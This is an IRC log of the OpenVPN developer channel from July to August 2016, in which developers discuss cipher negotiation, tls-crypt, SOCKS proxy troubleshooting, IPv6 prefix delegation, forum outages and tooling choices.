17:08 < gp_alt> krzee: I am. I just wanted to go with something documented before running down that path 17:08 <+krzee> got ya 17:08 <+krzee> !trac 17:08 <@vpnHelper> "trac" is (#1) see https://community.openvpn.net for development information and bug tracker., or (#2) if you have a forum login, use that for trac, its the same database. 17:08 < gp_alt> thanks 17:24 <@vpnHelper> RSS Update - tickets: #717: auth-user-pass-verify script cannot verify username belogs to certificate unless matches common name <https://community.openvpn.net/openvpn/ticket/717> 17:25 < gp_alt> well that should have said subject field not common name but I guess it gets the point across 17:26 < gp_alt> I wasn't sure how to classify it 17:48 < gp_alt> Ubuntu security said they think the issue needs to be addressed with the OpenVPN community. I didn't post a bug because I was told this was a plugin problem not a OpenVPN problem. Here is the issue on ubuntu's tracker if anyone is interested https://bugs.launchpad.net/ubuntu/+source/openvpn-auth-radius/+bug/1607055 17:48 <@vpnHelper> Title: Bug #1607055 “user can log in with username/password that does n...” : Bugs : openvpn-auth-radius package : Ubuntu (at bugs.launchpad.net) 23:03 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 23:06 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 23:06 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Thu Jul 28 2016 00:20 <@vpnHelper> RSS Update - gitrepo: Fix '--cipher none --cipher' crash <https://github.com/OpenVPN/openvpn/commit/dea8917a032e2303b39cce23e60f2348516d5a12> || Allow ncp-disable and ncp-ciphers to be specified in ccd files <https://github.com/OpenVPN/openvpn/commit/834f602fd069118b5d00a9042c9fdb20930257eb> || Add server-side support for cipher negotiation <https://github.com/OpenVPN/openvpn/commit/a17aa98180319f34c3240aea617bf8114d0bcaf7> || Add 00:58 <@cron2> syzzer: I think we want some more safeguards in the code - namely: if the key has been initialized, and then a PUSH_REQUEST comes in, log the fact ("key has been initialized, cannot do NCP") and don't do NCP 01:40 <@syzzer> cron2: yes, makes sense 03:05 < kr0k0> Hi 03:05 < kr0k0> Is it possible to use proto udp behind a socks proxy? 03:14 <@cron2> kr0k0: yes 03:16 < kr0k0> How? 03:16 <@plaisthos> kr0k0: most socks proxy however do not support udp 03:17 < kr0k0> My socks5 proxy is dante 03:17 < kr0k0> Dante should support it or? 03:17 <@plaisthos> kr0k0: just configure the proxy in openvpn 03:18 < kr0k0> I have configured socks-proxy <socks-proxy IP> <socks-proxy PORT> 03:18 <@plaisthos> !log-file 03:18 < kr0k0> The first problem I had, was that openvpn resolves locally with socks-proxy enabled 03:18 <@plaisthos> !logfile 03:18 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile, or (#2) verb 3 is good for everyday usage, verb 5 for debugging, or (#3) see --daemon --log and --verb in the manual (!man) for more info 03:19 < kr0k0> Ok 03:19 < kr0k0> One moment please 03:23 * cron2 does udp-over-socks integration tests with dante, so yes, that works 03:23 <@cron2> no idea where anything is resolved, as all my DNS servers return the same answer 03:24 <@plaisthos> on the client 03:25 <@plaisthos> openvpn does not really implement the resolve by socks proxy 03:26 < kr0k0> http://paste.ubuntu.com/21251414/ 03:26 < kr0k0> yes, I know 03:27 < kr0k0> for testing with socks-proxy I added an entry in /etc/hosts 03:27 <@plaisthos> that looks mostly correct 03:27 <@plaisthos> I would suggest a tcpdump on the socks proxy to see what is going on and if packets are forwarded correctly 03:28 < kr0k0> Is it possible that the mtu size is to big for the socks proxy? 03:35 <@plaisthos> kr0k0: no, the tls packets are capped at 1280 iirc 03:37 < kr0k0> ok, thanks 03:37 < kr0k0> then I start a tcpdump 03:55 < kr0k0> there is no traffic between socks proxy and external interface 03:55 < kr0k0> regarding openvpn udp 03:55 < kr0k0> but i see many dns (udp 53) from sock proxy to external net 03:56 < kr0k0> so udp is working 04:01 <@cron2> dante can be a bit of a bitch regarding permissions 04:06 < kr0k0> it shouldn't be a permission problem, it is all allowed for my client 04:09 < kr0k0> I see connection from client to socks-proxy and also in the logs from socks 04:10 < kr0k0> Does anyone use udp behind a socks-proxy? 04:10 < kr0k0> I think it's buggy in openvpn 04:11 < kr0k0> The next question, why openvpn can't resolve through the socks with proto udp, but it works with proto tcp? 04:12 < kr0k0> Strange behavior 04:18 < kr0k0> I have to live with tcp 04:18 < kr0k0> Thank you very much cron2 and plaisthos 04:42 <@cron2> kr0k0: as I said above, it's part of my integration tests, so it's most definitely NOT buggy 04:43 <@cron2> (it is not going to resolve through socks with tcp either - the whole resolving code uses local getaddrinfo()) 04:45 < kr0k0> But why resolving works over socks-proxy when i use proto tcp and not works with proto udp? 04:45 <@cron2> this is something that would surprise me, but then, the code is complicated - plaisthos knows more about resolving in openvpn than I do 04:46 <@cron2> looking at my dante.conf, I see that I needed to "pass" *return* packets for UDP mode to work 04:47 <@cron2> (and I see quite a number of "pass" rules that look like "quite a bit of experimenting was needed until it finally worked") 04:50 < kr0k0> could you paste the rules? 04:51 < kr0k0> I go for lunch, hopefully you have dante rules for me, which solves my problem 05:04 <@plaisthos> I might have fixed resolve via socks for tcp 05:04 <@plaisthos> But I don't remember that 05:04 <@plaisthos> it is a bit hazy 05:36 < kr0k0> re 05:37 < kr0k0> cron2: do you have dante rules for me? 05:38 < kr0k0> plaisthos: yes, resolve via socks for tcp works, could you fix that for udp? 07:24 < mollox> hi - are there any plans to port openvpn to windows10mobile ? 07:28 <@cron2> as far as I know, nobody is working on it - so feel free to take a go at it :) 07:29 < mollox> hi - I'd love to :) 07:29 < mollox> at first I was not sure if MS allowed that sort of developing for that platform .. so at least I know it can be done .. it just hasn't been so far 07:30 < mollox> good enuff 07:30 < mollox> ttfn 12:18 <@d12fk> :-0 https://lars.ingebrigtsen.no/2016/07/28/the-end-of-gmane/ 12:18 <@vpnHelper> Title: The End of Gmane? Random Thoughts (at lars.ingebrigtsen.no) 12:26 <@cron2> eek 12:43 <@cron2> aw, helsinki is in a differnt time zone 13:05 <@cron2> syzzer: have you booked finnland already? do you know if andj is coming as well? 17:19 <@plaisthos> openvpn//src/openvpn/crypto_openssl.c:297:3: error: 'for' loop initial declarations are only allowed in C99 or C11 mode 17:19 <@plaisthos> for (int nid = 0; nid < 10000; ++nid) 17:20 <@plaisthos> damn you, strict compiler 17:22 <@cron2> heh, what language strictness are you using? 17:23 <@cron2> (and what code base is that? master has "int nid;" on a separate line :) ) --- Day changed Fri Jul 29 2016 01:44 <@cron2> https://github.com/OpenVPN/openvpn/graphs/contributors?from=2016-01-28&to=2016-07-29&type=c 01:44 <@vpnHelper> Title: Contributors to OpenVPN/openvpn · GitHub (at github.com) 01:44 <@cron2> amazing :) 03:13 <@syzzer> cron2: no, haven't booked yet 03:14 <@syzzer> but good point, I probably should 03:32 <@cron2> nearing the 6-weeks-range, prices likely going up... I'm paying ~150 EUR MUC<->HEL :) 03:47 <@syzzer> did you already select a hotel? 03:47 <@cron2> yes, the holiday inn that Lev__ recommended - it's just around the corner, and reasonably priced (~75 EUR/night) 03:47 <@syzzer> nvm, just noticed the wiki page 03:48 <@cron2> Lev__ has a link directly to booking.com in it, which I find amazing :-) (price on hrs.de was better, tho) 03:49 <@cron2> who added IV_PROTO=3? plaisthos? 03:53 <@syzzer> did you book breakfast? 03:54 <@cron2> not consciously, but I assume I did... 05:15 <@cron2> haha! 05:15 * cron2 found a time frame where he committed like a boss! 05:15 <@cron2> https://github.com/OpenVPN/openvpn/graphs/contributors?from=2013-12-01&to=2014-02-22&type=c 05:15 <@vpnHelper> Title: Contributors to OpenVPN/openvpn · GitHub (at github.com) 05:15 <@cron2> MORE THAN SYZZZER 05:33 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 258 seconds] 05:38 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:38 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:09 <@syzzer> haha 06:10 <@syzzer> just create statistics for mails sent to -devel, you'll dominate those 06:23 <@plaisthos> cron2: Yeah, I did that 06:23 <@plaisthos> cron2: Just wanted to have that a discussion point 06:50 <@syzzer> hm, this renegotiation logic is quite special... 07:27 <@cron2> plaisthos: yeah, makes sense 08:04 <@syzzer> Flight and hotel booked :) 08:16 <@cron2> oh, cool, andj is coming along :) 08:20 <@syzzer> I also secured some company budget for dinner again, but I don't think it will be sufficient in Finland :') 08:23 <@d12fk> oh hackathon, should also ask for budget... 09:35 <@plaisthos> hehe 10:04 -!- krzee [9467285c@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 12:22 -!- krzie [9467285c@openvpn/community/support/krzee] has joined #openvpn-devel 12:22 -!- mode/#openvpn-devel [+v krzie] by ChanServ 12:37 -!- krzie [9467285c@openvpn/community/support/krzee] has left #openvpn-devel [] 16:28 -!- krzie [9467285c@openvpn/community/support/krzee] has joined #openvpn-devel 16:28 -!- mode/#openvpn-devel [+v krzie] by ChanServ 16:28 -!- krzie is now known as krzee --- Day changed Sat Jul 30 2016 04:52 <@cron2> mattock: have you been devacationed already? 09:49 <@cron2> plaisthos: do you have any experience with --fragment? 15:13 -!- krzee [9467285c@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 16:57 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:57 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:08 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 276 seconds] --- Day changed Sun Jul 31 2016 15:34 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:52 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: your mom - its whats for breakfast] 17:00 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:00 -!- krzee [~k@openvpn/community/support/krzee] has quit [Client Quit] 17:01 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:06 -!- krzee [~k@openvpn/community/support/krzee] has quit [Client Quit] 17:08 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:33 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: your mom - its whats for breakfast] 17:35 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:35 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:22 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: your mom - its whats for breakfast] 18:42 -!- cron2 [~hunger@openvpn/community/developer/cron2] has quit [Quit: Lost terminal] --- Day changed Mon Aug 01 2016 02:18 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 02:18 -!- mode/#openvpn-devel [+o cron2] by ChanServ 02:30 <@cron2> so, what did I miss after my screen was killed due to general out-of-memory on the system...? 02:45 <@cron2> *grumble* freebsd / portmaster is stupid... it fell into a dependency loop when upgrading (cmake -> curl -> gnutls -> something -> cmake -> curl -> ...) and used up all available RAM... 06:42 <@cron2> syzzer: a nice round of hacking tonight, or "sofa"? 06:53 < Thermi> cron2: LOL, a native freebsd tool without a cyclic dependency breaker. :D 07:27 <@ecrist> cron2: pkg is the way to do things now 07:28 <@ecrist> mattock: do we currently get the Windows TAP driver signed my Microsoft? 07:28 <@ecrist> https://tech.slashdot.org/story/16/07/31/2146234/all-windows-10-kernel-mode-drivers-must-be-digitally-signed-by-microsoft 07:28 <@vpnHelper> Title: All Windows 10 Kernel Mode Drivers Must Be Digitally Signed By Microsoft - Slashdot (at tech.slashdot.org) 07:34 <@cron2> ecrist: if they would provide pkgs for FreeBSD/Sparc64, that is... 07:35 <@cron2> and regarding tap driver: yes, mattock took care of this 10:50 <@cron2> how to create confusion... openvpn as ships "openvpn 2.1.1" to its users as of the most recent update - openvpn connect, that is, not openvpn community, but users just see "this is OLD STUFF, can we haz 2.3.11 pleaz?" 14:51 <@ecrist> cron2: fair enough 15:58 -!- krzee [9467285c@openvpn/community/support/krzee] has joined #openvpn-devel 15:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:02 -!- krzee [9467285c@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 20:32 <@ecrist> cron2: http://pastebin.com/TEBih1Sx 20:33 <@ecrist> FreeBSD current 12-x has this build failure 20:33 <@ecrist> useful bits start at line 888 I think --- Day changed Tue Aug 02 2016 02:21 <@cron2> mornin 03:22 < mollox> FYI: The forum https://forums.openvpn.net/ is * Offline * 03:22 < mollox> General Error 03:22 < mollox> SQL ERROR [ mysqli ] 03:22 < mollox> No such file or directory [2002] 05:31 <@syzzer> cron2: was away for a long weekend, but I'm back now :) 05:31 <@syzzer> *I* was away 05:33 <@syzzer> will look into your ncp follow up, probably tomorrow 06:24 <@cron2> syzzer: snowboarding again? :) 06:59 <@ecrist> I'll look at the forum 07:04 <@ecrist> forum is back online. 07:30 <@plaisthos> tls-crypt looks reasonable 07:30 <@plaisthos> But I need to read that nounce construction paper 07:45 <@syzzer> plaisthos: that's good to hear. And reading the paper might be easier than you'd expect, since I'm not doing full SIV, but only use 'the SIV contruction' (section 3). 07:47 <@syzzer> cron2: haha, nope. Beers in the Belgian Ardennes this time :) 07:49 <@plaisthos> the rest of tls-crypt is relatively straight forward anyways 07:50 <@plaisthos> a cipher mode that does not collapse under IV reuse, some IV construction from all public random data and some packet format 07:50 <@syzzer> yep. my follow-up proposal will be more interesting from the openvpn perspective (less so from the crypto side) 07:52 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 07:56 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 07:56 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 09:05 <@cron2> "feature-ACK" on the tls-crypt, but the crypto and packet format should get agreement from James 09:54 <@plaisthos> and we need to figure out details on the format 09:54 <@cron2> how are we going to continue with the already-ACKed-but-not-public patch? 09:57 <@plaisthos> ??? 09:57 <@plaisthos> argh sorry 09:58 <@plaisthos> I think publishing is fine, it does not exactly why we are doing that 10:48 -!- krzee [9467285c@openvpn/community/support/krzee] has joined #openvpn-devel 10:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:05 <+krzee> syzzer: seems like you found the problem in #714, would you be able to provide an ipk and ill give it a shot? also i figured out how to get gdb running, if you want to leave debug symbols i can run gdb if it still crashes 11:06 <+krzee> i have a new version of the router as well (841 v11) that has a bug in trunk where it mounts the ramdisk instead of the overlay, so while it forgets everything on reboot i do get a lot more storage to work with :D 14:20 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:33 -!- krzee [9467285c@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] --- Day changed Wed Aug 03 2016 02:35 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:35 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 02:37 <@syzzer> hrmpf, still need to fix ipv6 at my new place - did I miss anything interesting? 02:39 <@syzzer> and now that I'm mentioning it, any network guru that has a good pointer to instruction how to learn dhcpc to request a specific prefix through prefix delegation? :p 02:42 < Thermi> syzzer: `man dhcpcd`, ia_pd 02:43 < Thermi> It's to be configured in the configuration file 02:45 <@cron2> "a specific prefix", like in "you've always given me 2001:db8:123::/48 in the past, I want that again!"? 02:45 <@syzzer> cron2: yes, because my fritz!box has no option to configure static routes 02:46 <@syzzer> but it claims to fully support prefix delegation, so I think I thould be able to request a specific prefix for my 'server lan' 02:48 <@cron2> is the server LAN directly connected to the Fritz!, or is there something in between? 02:49 <@syzzer> there's a firewall in between. I want that box to request the prefix, and run radvd on the server lan. 02:49 <@cron2> right, DHCP-PD is what you want. I've never seen a "always the same prefix!" option, though... lemme google 02:49 < Thermi> As I wrote before, dhcpcd supports it 02:49 <@syzzer> there's a 'preference' field in the request, according to the rfc 02:50 < Thermi> It's mentioned on the man page for the configuration file 02:50 <@syzzer> Thermi: yes, thanks. Seems I need to switch from isc-dhcp-client to dhcpcd then 02:50 < Thermi> Well, I don't know about isc-dhcp-client. I actually just briefly googled it 02:53 <@cron2> interesting. I've just read the ia_pd section in dhcpcd.conf and while I see "prefix" mentioned there, none of the example show how it's to be used 02:54 <@cron2> syzzer: of course your ISP need to allow that prefix... and then there's the AVM misbehaviour that you cannot turn off IPv6 firewalling for delegated prefixes 02:55 <@syzzer> cron2: oh, damn, I didn't know about the AVM misbehaviour 02:57 <@syzzer> my ISP gives me a /48, I thought I'd delegate a /56 to the server lan 02:58 <@syzzer> but if I can't turn off firewalling for the delegated prefix, that's useless 02:58 <@cron2> LANs get a /64, but of course you could have servers that ask for a /64 on their own (via PD again) to feed a vmware net or so 02:59 <@cron2> you can turn off the firewall for directly connected hosts (very nicely so, by referring to the host ID, so it works if the prefix is changing) 03:00 <@cron2> but for PD, it always was supposed to "come later" - and seems AVM then lost interest in improving IPv6 support, which is totally annoying 03:00 <@syzzer> yes, in general I like their IPv6 support 03:00 <@cron2> http://www.heise.de/netze/meldung/Router-fuer-IPv6-Einige-taugen-etliche-versagen-3196294.html 03:00 <@vpnHelper> Title: Router für IPv6: Einige taugen, etliche versagen | heise Netze (at www.heise.de) 03:01 <@cron2> claims the issue is still there :( 03:01 <@cron2> http://www.synology-forum.de/archive/index.html/t-76014.html 03:02 <@vpnHelper> Title: IPv6 Routerkaskade - Hat jemand Erfahrung? [Archiv] - Das deutsche Synology Support Forum (at www.synology-forum.de) 03:02 <@cron2> (synology forum, but it's really related to AVM DHCPv6 PD) 03:02 <@cron2> maybe time to bug their support again... 03:02 <@syzzer> yes, this guy more or less wants what I want 03:04 <@cron2> I want that, too... mnet is deploying fiber in my street, but I want a working v6 network, with *my* firewall... so this will lead to interesting discussions this autumn :) 03:08 <@syzzer> hehe, yes... seems I want the difficult stuff too every time :') 05:25 <@cron2> sigh... "I have a big problem with my computer... I have upgraded to Win10 and now..." - "just upgrade to openvpn 2.3.11!" - "but I do not have problems with VPN, but with outlook!" - "upgrade!" 05:26 <@cron2> (block-outside-dns and IV_WIN_VER to the rescue) 05:26 <@cron2> exchange.$customerdomain is not visible externally, so Win10 DNS misbehaviour usually leads to "there is no host exchange.$domain"... 05:33 < Thermi> :D 06:20 -!- krzie [9467285c@openvpn/community/support/krzee] has joined #openvpn-devel 06:20 -!- mode/#openvpn-devel [+v krzie] by ChanServ 06:21 -!- krzie is now known as krzee 06:21 < mollox> Something peculiar is happening on the forum again 06:22 < mollox> "General SQL Error" but seems to be intermittent 06:22 < mollox> will await reply as it may not happen for all users ? 06:23 * mollox is debbie10t 06:24 < mollox> could it be something to do with my cookies ? 06:25 < mollox> will paste to an email in openvpn-devel 06:26 < mollox> will paste to an email to forums@openvpn.net 06:44 * cron2 points to ecrist 06:50 <@ecrist> :> 07:01 <+krzee> !blame 07:01 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault, or (#2) According to krzee, it's always dazo's fault, or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments, or (#4) cron2 says if windows is involved, it's always d12fk's fault 07:01 <@cron2> oh, we need to update that... EugeneKay and Bushmills haven't been seen in ages 07:02 <+krzee> lol so you say dazo will just blame ecrist 07:04 <@vpnHelper> RSS Update - tickets: #718: Enable "block-outside-dns" on two parallel tunnels results in no DNS <https://community.openvpn.net/openvpn/ticket/718> 07:06 < mollox> ^^ who would have guessed .. 07:08 <@ecrist> I don' see any notable errors in the web server logs 07:09 <@ecrist> ah, yes I do 07:09 < mollox> hi eric: I am still getting SQL errors 07:09 <@ecrist> looks like forums is having a similar problem I'm having on another server 07:09 <@ecrist> mysqld consumes all the memory, then exhausts swap 07:10 < mollox> nasty ! 07:13 <@ecrist> I've kicked mysql and run a REPAIR TABLE on the crashed tables. 07:14 * krzee kicks mysql too 07:16 < mollox> I just moved a topic .. so seems to be back to normal cheers :) 07:34 <+krzee> cron2: eugene is in #openvpn now with 13hr idle time 07:35 <+krzee> he dropped the 'kay' 09:16 < mollox> Has anybody got a pre-built snapshot of git-master with TAP + Interactive service that I can download to test on W10 x86_64 that I could download ? 09:21 <@ecrist> mattock: I'd like to get a windows build system set up to start building my weekly snapshots. Do you have any documentation on how to set one up? 09:24 <@cron2> mollox: sure, all the snapshots on build.community.net since merge of the iservice are :) 09:25 <@cron2> ecrist: wiki has instructions for (cross-)building on ubuntu 09:25 <@ecrist> neato 09:25 <@ecrist> thanks, cron2 09:27 < mollox> cron2: build.community.net ? no such url 09:28 < mollox> as it stands I can build a snapshot but it takes me a while to figure it all out 09:28 < mollox> i was just offering to do full server testing for w10 09:28 <@ecrist> mollox: build.openvpn.net 09:28 < mollox> forbidden ! 09:29 <@ecrist> no 09:29 < mollox> http not https .. ok 09:29 <@ecrist> http://build.openvpn.net/downloads/snapshots/ 09:29 <@vpnHelper> Title: Index of /downloads/snapshots/ (at build.openvpn.net) 09:29 <@ecrist> even vpnHelper was able to see it 09:30 < mollox> yes https is forbidden .. anyway thanks for the link I knew I had seen it before but could not find it from where i started 09:30 <@ecrist> nobody told you to use https. :) 09:30 < mollox> ahh that list is for 2.3.11 09:31 < mollox> i need git master for interactive service 09:31 < mollox> ahh no again .. look higher up the list ! 09:31 <@syzzer> try ctrl-f "master" 09:31 * mollox *facepalm* 09:31 <@syzzer> ;) 09:32 <@ecrist> ctrl-f "master-201607" 09:32 < mollox> yep .. cheers :) 09:32 < mollox> <- bookmarked ! 10:20 < mollox> microsoft w10 security model appears to be .. disable features they cannot find a way to fix ! 10:23 <+krzee> better than dont disable them :D 10:24 < mollox> better they fix them before claiming w10 is ant better than their other shit ! :P 10:25 <+krzee> thats like hoping for somebody worth voting for in usa 10:25 < mollox> LMAO :D 10:25 < mollox> any where in fact ! 10:27 < mollox> I am wondering if calling the new ovpn service "interactive" is a good idea .. 10:27 < mollox> https://support.software.dell.com/netvault-backup/kb/116150 10:27 <@vpnHelper> Title: The system is configured not to allow interactive services. This service may not function properly. (116150) (at support.software.dell.com) 10:30 <@plaisthos> mollox: interactive services are a terrible idea 10:30 <@plaisthos> they allow background services to interact with the user ui 10:30 <@plaisthos> something that made sense 20 years ago 10:31 <@plaisthos> so disabling is the right way to fix this 10:32 < mollox> I need it for VBOXVMService 10:33 < mollox> but i have a horrible feeling this is going to be one of those MS tortured hoop jumping sessions 10:42 <@plaisthos> Important Services cannot directly interact with a user as of Windows Vista. Therefore, the techniques mentioned in the section titled Using an Interactive Service should not be used in new code. 10:42 <@plaisthos> so it is depracted for at least ten years ... 10:46 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: foo!] 10:47 < mollox> I think I have the wrong version installed (hopefully) 10:47 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:47 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 18:04 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 18:32 -!- krzee [9467285c@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 19:34 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 19:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:37 -!- krzee [~k@openvpn/community/support/krzee] has quit [Client Quit] 19:56 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 19:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:59 -!- krzee [~k@openvpn/community/support/krzee] has quit [Client Quit] 19:59 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 19:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:02 -!- krzee [~k@openvpn/community/support/krzee] has quit [Client Quit] 20:03 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 20:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Aug 04 2016 02:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 250 seconds] 06:18 <@cron2> mmmh, autonet fun... 06:18 <@cron2> checking for REVENGE_GENERATORS... yes 06:28 <@plaisthos> :) 07:44 <@ecrist> how do I get a revenge generator? 09:39 <@plaisthos> sigh 09:40 <@plaisthos> openvpn somehow ignores a pushed ifconfig-ipv6 fdaa::17a/112 fdaa::1 but also does not give me any indication of why 09:40 <@plaisthos> and then complain for the pushed route-ipv6 that no v6 address is set 10:01 <@plaisthos> but only in my app, on Desktop it works fine. Only with that particular config 10:13 <@plaisthos> got the problem 10:13 <@plaisthos> openvpn insists on tun-ipv6 be present in the local config or in the pushed configruation 10:39 <@plaisthos> looking through the source code, tun-ipv6 seems to serve little purpose 10:43 <@plaisthos> ifconfig-ipv6-push?! 10:43 <@plaisthos> new options every day ... 10:52 <@plaisthos> the literally only place that needs to explicitly handle non Ipv6 tun seems to be NetBSD < 4.0 10:53 <@ecrist> couldn't there be an IFDEF to handle that case, then? or no? 11:00 <@plaisthos> ecrist: yeah 11:01 <@plaisthos> I trying to understand the Linux tun.c code 11:01 <@plaisthos> I am trying especially to understand why it does use a different read_tun and write_tun code than Android 11:01 <@plaisthos> and both work 13:15 <@dazo> mattock: worth a read, regarding the GitHub challenges ... and a worrying comment regarding the GitHub issue tracker ... https://lwn.net/Articles/696243/ 13:15 <@vpnHelper> Title: Quote of the week [LWN.net] (at lwn.net) 20:06 <@ecrist> So, I've been thinking about our stuff, and have talked to Mattock a bit. 20:07 <@ecrist> We could continue to use git, but what do you all think of standing up a Jira instance in place of trac? 20:07 <@ecrist> Also, maybe a Perforce server with git integration as our "home base"? --- Day changed Fri Aug 05 2016 01:01 <@cron2> ecrist: why? I do not see Jira as desirable, and trac seems to nicely do what the developers want 01:02 <@cron2> as in "track tickets, do not get in the way". Having used Jira at work, I find it WAY TOO COMPLICATED to get things done 01:28 <@cron2> (Jira would also need to be MUCH better to accept the hassles of moving everything over, breaking old references in our commits, etc.) 03:14 <@dazo> ecrist: what does Perforce give us which git doesn't? 06:56 <@ecrist> cron2: the import from trac to jira can be done, with links/references/etc. 06:56 <@ecrist> dazo: if we wanted to not be dependent upon github for a central repo, perforce could fill that role 07:07 <@dazo> ecrist: well, with git there is no central repo either ... I push to gitlab and fedorapeople.org 07:08 <@dazo> ecrist: I agree we should be weary of github, but it has some advantages being present there too 07:08 <@ecrist> right, we've been using github as that central repo, however. 07:08 <@dazo> however, for issue/tickets, wiki etc and github, that's a different deal 07:09 <@ecrist> I'm just trying to offer ideas. 07:09 <@dazo> technically speaking, sourceforge.net has been our main central git repo, which we also push to 07:09 <@ecrist> We use perforce and jira at work and I've become very familiar with them. 07:11 <@dazo> there might be some better perforce/jira integration (I dunno, just heard some claim so without investigating) ... but perforce as a VCS compared against git, I don't know if there's any advantage there ... especially when git has become the VCS the majority of F/OSS projects chooses, which means people these days know git far better 07:47 <@ecrist> there is direct git/perforce integration already, and there is great perforce/jira integration 07:47 <@ecrist> perforce has a nice code review interface, as well, called Swarm 07:48 <@ecrist> I'm not pushing any sort of agenda, it's just an idea. 07:49 <@ecrist> To cron2's point - jira can be made as easy to use as we want, it depends upon how we configure the workflow 07:50 <@dazo> well, we should keep our eyes open to see if there are better alternatives ... but I would prefer we choose more open source oriented approach; AFAIK perforce requires a centralized proprietary server software 07:51 <@ecrist> it does 07:51 <@ecrist> but, I think that can just be our central place for final commits 07:52 <@ecrist> we could still use git for everything else, just do the final push to the perforce server 07:52 <@ecrist> iirc, this is what FreeBSD does for the kernel now 07:53 <@cron2> ecrist: we do not have "a central place". We use git :) 07:53 <@dazo> exactly 07:56 <@dazo> I think gitlab can be just as well a good candidate tbh ... which also have a broad set of integrations, can be self-hosted or costless/free hosting on gitlab.com's infrastructure 07:56 <@dazo> https://about.gitlab.com/applications/ 07:56 <@vpnHelper> Title: Applications Supporting GitLab | GitLab (at about.gitlab.com) 08:08 <@cron2> what's wrong with github all of a sudden? 08:11 <@dazo> cron2: nothing very wrong with github ... just bringing up alternatives once we have an informal discussion about it 08:12 <@cron2> good :) - because I think unless there is something wrong with what we have, discussion about tools is not the best way to spend our limited time :-) 08:23 <@ecrist> get off my lawn, damn kids... 08:24 <@cron2> ecrist: if you feel bored and NEED TO DO SOMETHING! NOW!, there's still the topic of windows build testing... 08:25 <@ecrist> I don't much care for your attitude... 08:25 * ecrist packs up his ball and goes home 08:26 <@ecrist> don't take anything too seriously here 08:28 <@ecrist> I don't have much time, cron2. I've been procrastinating writing another openvpn book all summer. I'm only through chapter 4. :\ 12:23 <+krzee> hey its good you been slow on the book, i havent even started proofreading the thing yet lol 12:33 <@ecrist> I have 11 more pages of ch 4 to write - should be done this weekend. 13:18 <@cron2> http://v6.de/js/dnd.html - this is what I spent my last few days with. Fun with modern software... 13:18 <@vpnHelper> Title: HTML 5 Drag and Drop (at v6.de) 16:52 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 16:52 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Sat Aug 06 2016 04:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 04:07 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:07 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 14:51 < valdikss> Hi guys 14:52 < valdikss> I just hit env stack limit 14:53 < valdikss> my service pushes that much routes that it doesn't fit into 1/8 of RLIMIT_STACK (it's a value for maximum env size) and ip or route can't be run. 14:53 < valdikss> Should I make a patch to disable adding env variables for ip/route? 14:53 < valdikss> execve("/sbin/ip", ["/sbin/ip", "link", "set", "dev", "tun0", "up", "mtu", "1500"], [/* 67412 vars */]) = -1 E2BIG (Argument list too long) 15:24 <@cron2> you really need to figure out how to aggregate your routes better :) 15:45 